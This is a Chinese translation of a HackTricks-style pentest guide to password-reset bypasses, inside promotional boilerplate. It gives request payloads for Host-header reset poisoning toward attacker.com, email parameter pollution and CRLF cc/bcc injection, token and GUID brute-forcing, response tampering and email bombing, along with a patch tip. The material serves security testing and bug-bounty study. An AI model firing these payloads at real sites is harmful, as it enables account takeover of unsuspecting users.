12 KiB
重置/忘记密码绕过
从零开始学习AWS黑客技术,成为 htARTE (HackTricks AWS红队专家)!
支持HackTricks的其他方式:
- 如果您想在HackTricks中看到您的公司广告或下载HackTricks的PDF,请查看订阅计划!
- 获取官方PEASS & HackTricks商品
- 发现PEASS家族,我们独家的NFTs系列
- 加入 💬 Discord群组 或 telegram群组 或在Twitter上关注我 🐦 @carlospolopm。
- 通过向 HackTricks 和 HackTricks Cloud github仓库提交PR来分享您的黑客技巧。
加入HackenProof Discord服务器,与经验丰富的黑客和漏洞赏金猎人交流!
黑客洞察
深入了解黑客的刺激和挑战
实时黑客新闻
通过实时新闻和洞察,跟上快节奏的黑客世界
最新公告
通过最新的漏洞赏金发布和关键平台更新,保持信息的更新
加入我们的 Discord 并开始与顶尖黑客合作!
以下技术汇编摘自 https://anugrahsr.github.io/posts/10-Password-reset-flaws/
通过引用来源泄露密码重置令牌
HTTP引用来源是一个可选的HTTP头字段,用于识别与所请求资源链接的网页地址。引用来源请求头包含了前一个网页的地址,从该网页链接到当前请求的页面
利用
- 向您的电子邮件地址请求密码重置
- 点击密码重置链接
- 不更改密码
- 点击任何第三方网站(例如:Facebook,Twitter)
- 在burpsuite代理中拦截请求
- 检查引用来源头是否泄露了密码重置令牌。
影响
它允许控制特定网站的人更改用户的密码(CSRF攻击),因为此人知道用户的重置密码令牌。
参考:
- https://hackerone.com/reports/342693
- https://hackerone.com/reports/272379
- https://hackerone.com/reports/737042
- https://medium.com/@rubiojhayz1234/toyotas-password-reset-token-and-email-address-leak-via-referer-header-b0ede6507c6a
- https://medium.com/@shahjerry33/password-reset-token-leak-via-referrer-2e622500c2c1
密码重置投毒
如果您发现了主机头攻击,并且它不在范围内,请尝试找到密码重置按钮!
利用
- 在Burpsuite中拦截密码重置请求
- 添加以下头或在burpsuite中编辑头(逐个尝试)
Host: attacker.com
Host: target.com
X-Forwarded-Host: attacker.com
Host: target.com
Host: attacker.com
- 检查电子邮件中更改密码的链接是否指向 attacker.com
补丁
使用 $_SERVER['SERVER_NAME']']
而不是 $_SERVER['HTTP_HOST']
$resetPasswordURL = "https://{$_SERVER['HTTP_HOST']}/reset-password.php?token=12345678-1234-1234-1234-12345678901";
影响
受害者将在他们的电子邮件中收到恶意链接,点击后,将会向攻击者泄露用户的密码重置链接/令牌,导致完全账户接管。
参考资料:
- https://hackerone.com/reports/226659
- https://hackerone.com/reports/167631
- https://www.acunetix.com/blog/articles/password-reset-poisoning/
- https://pethuraj.com/blog/how-i-earned-800-for-host-header-injection-vulnerability/
- https://medium.com/@swapmaurya20/password-reset-poisoning-leading-to-account-takeover-f178f5f1de87
通过操纵电子邮件参数重置密码
利用
- 使用 & 添加攻击者电子邮件作为第二参数
POST /resetPassword
[...]
email=victim@email.com&email=attacker@email.com
- 使用%20将攻击者邮箱添加为第二个参数
POST /resetPassword
[...]
email=victim@email.com%20email=attacker@email.com
- 使用 | 将攻击者邮箱添加为第二个参数
POST /resetPassword
[...]
email=victim@email.com|email=attacker@email.com
- 使用 cc 将攻击者邮箱添加为第二参数
POST /resetPassword
[...]
email="victim@mail.tld%0a%0dcc:attacker@mail.tld"
- 使用 bcc 将攻击者邮箱添加为第二参数
POST /resetPassword
[...]
email="victim@mail.tld%0a%0dbcc:attacker@mail.tld"
- 使用逗号将攻击者邮箱添加为第二个参数
POST /resetPassword
[...]
email="victim@mail.tld",email="attacker@mail.tld"
- 在json数组中添加攻击者邮箱作为第二个参数
POST /resetPassword
[...]
{"email":["victim@mail.tld","atracker@mail.tld"]}
参考资料
- https://medium.com/@0xankush/readme-com-account-takeover-bugbounty-fulldisclosure-a36ddbe915be
- https://ninadmathpati.com/2019/08/17/how-i-was-able-to-earn-1000-with-just-10-minutes-of-bug-bounty/
- https://twitter.com/HusseiN98D/status/1254888748216655872
通过API参数更改任何用户的电子邮件和密码
利用
- 攻击者必须登录他们的账户并转到更改密码功能
- 启动Burp Suite并拦截请求
- 拦截请求后,将其发送到repeater并修改参数Email和Password
POST /api/changepass
[...]
("form": {"email":"victim@email.tld","password":"12345678"})
参考资料
无速率限制:电子邮件轰炸
利用方法
- 启动Burp Suite并拦截密码重置请求
- 发送至入侵者
- 使用空负载
参考资料
弄清楚密码重置令牌是如何生成的
找出密码重置令牌的生成模式
如果它
- 基于时间戳生成
- 基于用户ID生成
- 基于用户电子邮件生成
- 基于名字和姓氏生成
- 基于出生日期生成
- 基于密码学生成
使用Burp Sequencer来找出令牌的随机性或可预测性。
可猜测的GUID
有不同类型的GUID:
- 版本0: 只在nil GUID("00000000-0000-0000-0000-000000000000")中看到。
- 版本1: GUID的生成方式是可预测的,基于:
- 当前时间
- 一个随机生成的“时钟序列”,在生成系统的运行时间内保持不变
- 一个“节点ID”,如果系统的MAC地址可用,则基于该地址生成
- 版本3: GUID是使用提供的名称和命名空间的MD5哈希生成的。
- 版本4: GUID是随机生成的。
- 版本5: GUID是使用提供的名称和命名空间的SHA1哈希生成的。
可以查看GUID并找出其版本,有一个小工具可以做到这一点:guidtool****
guidtool -i 1b2d78d0-47cf-11ec-8d62-0ff591f2a37c
UUID version: 1
UUID time: 2021-11-17 17:52:18.141000
UUID timestamp: 138564643381410000
UUID node: 17547390002044
UUID MAC address: 0f:f5:91:f2:a3:7c
UUID clock sequence: 3426
如果用来生成重置密码GUID的版本是版本1,那么可以暴力破解GUID:
guidtool 1b2d78d0-47cf-11ec-8d62-0ff591f2a37c -t '2021-11-17 18:03:17' -p 10000
a34aca00-47d0-11ec-8d62-0ff591f2a37c
a34af110-47d0-11ec-8d62-0ff591f2a37c
参考资料
响应操作:用正确的响应替换错误的响应
寻找类似这样的请求和响应
HTTP/1.1 401 Unauthorized
(“message”:”unsuccessful”,”statusCode:403,”errorDescription”:”Unsuccessful”)
更改响应
HTTP/1.1 200 OK
(“message”:”success”,”statusCode:200,”errorDescription”:”Success”)
参考资料
使用过期的令牌
- 检查是否可以重复使用过期的令牌
暴力破解密码重置令牌
尝试使用Burpsuite暴力破解重置令牌
POST /resetPassword
[...]
email=victim@email.com&code=$BRUTE$
参考资料
尝试使用你的令牌
- 尝试将你的密码重置令牌添加到受害者的账户
POST /resetPassword
[...]
email=victim@email.com&code=$YOUR_TOKEN$
参考资料
退出/重置密码时的会话无效化
当用户登出或重置密码时,当前会话应该被无效化。
因此,在用户登录状态下,获取cookies,然后登出,并检查这些cookies是否仍然有效。
重复这个过程,但这次是更改密码而不是登出。
重置令牌的过期时间
重置令牌必须有一个过期时间,过了这个时间令牌就不应该有效更改用户的密码。
额外检查
- 使用 username@burp_collab.net 并分析回调
- 用户抄送 email=victim@mail.com%0a%0dcc:hacker@mail.com
- 长密码(>200)会导致DoS
- 追加第二个电子邮件参数和值
加入 HackenProof Discord 服务器,与经验丰富的黑客和漏洞赏金猎人交流!
黑客洞察
深入了解黑客的刺激和挑战
实时黑客新闻
通过实时新闻和洞察,保持与快节奏黑客世界的同步
最新公告
通过最新的漏洞赏金发布和关键平台更新,保持信息的更新
加入我们的 Discord 并开始与顶尖黑客合作!
从零开始学习AWS黑客技术,成为 htARTE (HackTricks AWS Red Team Expert)!
其他支持HackTricks的方式:
- 如果你想在 HackTricks 中看到你的公司广告或下载HackTricks的PDF,请查看 订阅计划!
- 获取 官方PEASS & HackTricks商品
- 发现 PEASS家族,我们独家的 NFTs 收藏
- 加入 💬 Discord群组 或 telegram群组 或在 Twitter 🐦 上关注我 @carlospolopm。
- 通过向 HackTricks 和 HackTricks Cloud github仓库提交PR来**分享你的黑客技巧。